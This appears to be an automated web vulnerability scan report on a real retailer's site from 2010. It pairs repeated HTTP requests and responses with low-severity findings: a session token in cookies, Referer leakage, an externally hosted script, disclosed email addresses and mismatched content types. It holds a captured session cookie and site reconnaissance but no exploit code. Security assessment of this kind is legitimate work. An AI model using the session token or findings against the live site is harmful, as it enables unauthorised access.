GET /helpdesk/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /history/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sitemap/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /storeLocator/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /teamweeks/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /giftCertificates/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 16:28:15 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=3bv4NXtfbrYr0ksrWl2hvqmGLwPpsJNvTb1vh9j2hq7n7zK139Yp!-657162074; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78273
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /product/index.jsp?productId=761269 HTTP/1.1 Host: www.modells.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; browser_id=120576560413
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:44:05 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 82331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--Preview TimeZone = 'null' --><!--Preview TimeZone ...[SNIP]... </SCRIPT> <SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="http://MOD.imageg.net/js/gomez-gtagb4_noobj.js"></SCRIPT> ...[SNIP]... r Games Video highlights various passing games, shooting games, and dribbling games to bring a little extra fun to the sport or to your soccer workout." />
<img src="http://MOD.imageg.net/graphics/product_images/p435780th.gif" border="0" alt='Kwik Goal Backyard Soccer Games Video - modells.com' title='Kwik Goal Backyard Soccer Games Video - modells.com' />
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /affiliate/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:42 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 64121
GET /cart/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:38 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78002
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /giftCertificates/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:23 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 77731
GET /groupsales/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:24 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 69274
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /product/index.jsp?productId=761269 HTTP/1.1 Host: www.modells.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; browser_id=120576560413
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:44:05 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Content-Language: en-US X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 82331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /giftCertificates/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:30 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 80133
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
affiliates@modells.com
Request
GET /affiliate/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:42 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 64121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> ...[SNIP]... <a href="mailto:affiliates@modells.com" class="leftnavlink"> ...[SNIP]...
The following email address was disclosed in the response:
groupsales@modells.com
Request
GET /groupsales/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:24 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 69274
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/html; charset=ISO-8859-1
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /entry.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:37 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 181 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
The response contains the following Content-type statement:
Content-Type: text/html; charset=ISO-8859-1
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /mvp/index.jsp HTTP/1.1 Host: www.modells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4MPpNXGFV047M20c9JSyx4mRvVtVZwWy2Q24DJ75yJyMpDp0n6Dw!-657162074; __g_c=w%3A1%7Cb%3A2%7Cr%3A%7Cc%3A283305926788102%7Cd%3A1%7Ca%3A0%7Ce%3A0.5%7Cf%3A0%7Ch%3A1; s_pers=%20s_nr%3D1293371034336%7C1295963034336%3B%20s_lastvisit%3D1293371034340%7C1387979034340%3B%20gpv_p5%3DProduct%253A%2520%2520Kwik%2520Goal%2520Backyard%2520Soccer%2520Games%2520Video%7C1293372834348%3B; __g_u=283305926788102_1_0.5_0_5_1293803033784_1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268BA35405162D95-400001A160000852[CE]; browser_id=120576560413;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 13:51:42 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache Content-Length: 185 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1